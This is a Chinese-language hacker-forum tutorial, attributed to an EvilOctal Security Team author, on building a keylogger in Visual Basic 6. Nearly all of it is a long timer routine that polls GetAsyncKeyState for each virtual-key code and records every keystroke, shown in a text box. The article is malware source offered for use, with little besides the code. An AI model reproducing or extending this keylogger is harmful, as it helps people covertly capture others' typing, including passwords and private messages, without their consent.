手把手教你做键盘记录器

来源:互联网 发布:白马山庄杀人事件知乎 编辑:程序博客网 时间:2024/05/16 13:06
文章作者:小珂[EST-EvilOctal Security Team]
信息来源:中国 邪恶八进制(www.EvilOctal.com)
文章版权:版权归黑客基地所有


前几天写了一篇键盘记录器,好多人反映看不懂,
对新人没什么用处,所以且这篇我会写的
很详细,再也不像那篇,出了代码什么也没 ^!^
这个程序将会详细的讲解如何记载键盘的每一次输入。
下面介绍的这个程序主要是利用GetAsyncKeyState函数,
使用GetAsyncKeyState可以获得键盘的动作。
GetAsyncKeyState函数根据虚拟键表判断按键的类型。
返回值为一个16位的二进值数,如果被按下则最高位为1,
即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
好了,函数就先介绍这么多,下面开始动手实战了
first,当然是创建窗口了


在时间控件的Timer时间中定义检查按键类型,代码如下:
Dim AddKey
  KeyResult = GetAsyncKeyState(13) '回车键
  If KeyResult = -32767 Then
    AddKey = "[ENTER]"
    GoTo KeyFound
  End If
  KeyResult = GetAsyncKeyState(17) 'Ctrl键
  If KeyResult = -32767 Then
    AddKey = "[CTRL]"
    GoTo KeyFound
  End If
  KeyResult = GetAsyncKeyState(8) '退格键
  If KeyResult = -32767 Then
    AddKey = "[BKSPACE]"
    GoTo KeyFound
  End If

  KeyResult = GetAsyncKeyState(9)
  If KeyResult = -32767 Then
    AddKey = "[TAB]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(18)
  If KeyResult = -32767 Then
    AddKey = "[ALT]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(19)
  If KeyResult = -32767 Then
    AddKey = "[PAUSE]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(20)
  If KeyResult = -32767 Then
    AddKey = "[CAPS]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(27)
  If KeyResult = -32767 Then
    AddKey = "[ESC]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(33)
  If KeyResult = -32767 Then
    AddKey = "[PGUP]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(34)
  If KeyResult = -32767 Then
    AddKey = "[PGDN]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(35)
  If KeyResult = -32767 Then
    AddKey = "[END]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(36)
  If KeyResult = -32767 Then
    AddKey = "[HOME]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(44)
  If KeyResult = -32767 Then
    AddKey = "[SYSRQ]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(45)
  If KeyResult = -32767 Then
    AddKey = "[INS]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(46)
  If KeyResult = -32767 Then
    AddKey = "[DEL]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(144)
  If KeyResult = -32767 Then
    AddKey = "[NUM]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(37)
  If KeyResult = -32767 Then
    AddKey = "[LEFT]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(38)
  If KeyResult = -32767 Then
    AddKey = "[UP]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(39)
  If KeyResult = -32767 Then
    AddKey = "[RIGHT]"
    GoTo KeyFound
  End If
 
  KeyResult = GetAsyncKeyState(40)
  If KeyResult = -32767 Then
    AddKey = "[DOWN]"
    GoTo KeyFound
  End If
 


KeyResult = GetAsyncKeyState(112)
  If KeyResult = -32767 Then
    AddKey = "[F1]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(113)
  If KeyResult = -32767 Then
    AddKey = "[F2]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(114)
  If KeyResult = -32767 Then
    AddKey = "[F3]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(115)
  If KeyResult = -32767 Then
    AddKey = "[F4]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(116)
  If KeyResult = -32767 Then
    AddKey = "[F5]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(117)
  If KeyResult = -32767 Then
    AddKey = "[F6]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(118)
  If KeyResult = -32767 Then
    AddKey = "[F7]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(119)
  If KeyResult = -32767 Then
    AddKey = "[F8]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(120)
  If KeyResult = -32767 Then
    AddKey = "[F9]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(121)
  If KeyResult = -32767 Then
    AddKey = "[F10]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(122)
  If KeyResult = -32767 Then
    AddKey = "[F11]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(123)
  If KeyResult = -32767 Then
    AddKey = "[F12]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(124)
  If KeyResult = -32767 Then
    AddKey = "[F13]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(125)
  If KeyResult = -32767 Then
    AddKey = "[F14]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(126)
  If KeyResult = -32767 Then
    AddKey = "[F15]"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(127)
  If KeyResult = -32767 Then
    AddKey = "[F16]"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(32)
  If KeyResult = -32767 Then
    AddKey = " "
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(186)
  If KeyResult = -32767 Then
    AddKey = ";"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(187)
  If KeyResult = -32767 Then
    AddKey = "="
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(188)
  If KeyResult = -32767 Then
    AddKey = ","
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(189)
  If KeyResult = -32767 Then
    AddKey = "-"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(190)
  If KeyResult = -32767 Then
    AddKey = "."
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(191)
  If KeyResult = -32767 Then
    AddKey = "/" '/
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(192)
  If KeyResult = -32767 Then
    AddKey = "`" '`
    GoTo KeyFound
  End If
 


'----------NUM PAD
KeyResult = GetAsyncKeyState(96)
  If KeyResult = -32767 Then
    AddKey = "0"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(97)
  If KeyResult = -32767 Then
    AddKey = "1"
    GoTo KeyFound
  End If
 

KeyResult = GetAsyncKeyState(98)
  If KeyResult = -32767 Then
    AddKey = "2"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(99)
  If KeyResult = -32767 Then
    AddKey = "3"
    GoTo KeyFound
  End If
 
 
KeyResult = GetAsyncKeyState(100)
  If KeyResult = -32767 Then
    AddKey = "4"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(101)
  If KeyResult = -32767 Then
    AddKey = "5"
    GoTo KeyFound
  End If
 
 
KeyResult = GetAsyncKeyState(102)
  If KeyResult = -32767 Then
    AddKey = "6"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(103)
  If KeyResult = -32767 Then
    AddKey = "7"
    GoTo KeyFound
  End If
 
 
KeyResult = GetAsyncKeyState(104)
  If KeyResult = -32767 Then
    AddKey = "8"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(105)
  If KeyResult = -32767 Then
    AddKey = "9"
    GoTo KeyFound
  End If
   
 
KeyResult = GetAsyncKeyState(106)
  If KeyResult = -32767 Then
    AddKey = "*"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(107)
  If KeyResult = -32767 Then
    AddKey = "+"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(108)
  If KeyResult = -32767 Then
    AddKey = "[ENTER]"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(109)
  If KeyResult = -32767 Then
    AddKey = "-"
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(110)
  If KeyResult = -32767 Then
    AddKey = "."
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(2)
  If KeyResult = -32767 Then
    AddKey = "/"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(220)
  If KeyResult = -32767 Then
    AddKey = "/"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(222)
  If KeyResult = -32767 Then
    AddKey = "'"
    GoTo KeyFound
  End If

KeyResult = GetAsyncKeyState(221)
  If KeyResult = -32767 Then
    AddKey = "]"
   
   
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(219)
  If KeyResult = -32767 Then
    AddKey = "["
    GoTo KeyFound
  End If
 
KeyResult = GetAsyncKeyState(16) 'shift键
  If KeyResult = -32767 And TimeOut = 0 Then
    AddKey = "[SHIFT]"
    LastKey = AddKey
    TimeOut = 1
    GoTo KeyFound
    End If

  KeyLoop = 41

  Do Until KeyLoop = 256 ' 显示其他键
    KeyResult = GetAsyncKeyState(KeyLoop)
    If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)
    KeyLoop = KeyLoop + 1
  Loop
  LastKey = AddKey
  Exit Sub
KeyFound: '显示键的信息

Text1 = Text1 & AddKey
End Sub
上面的()里面的数字实际是就是那些键的Ascii码,比如13就代表回车,17代表Ctrl,……
由于数目太多,一一列举不方便
现提供Ascii表一份供对照
http://www.cstudy.cn/repository/ascii/default.htm
下面是其他的事件
Private Sub Timer2_Timer()
TimeOut = 0
End Sub
目的是随时刷新清空
好了,现在就先写这么多了,有问题记得跟帖子哦

原创粉丝点击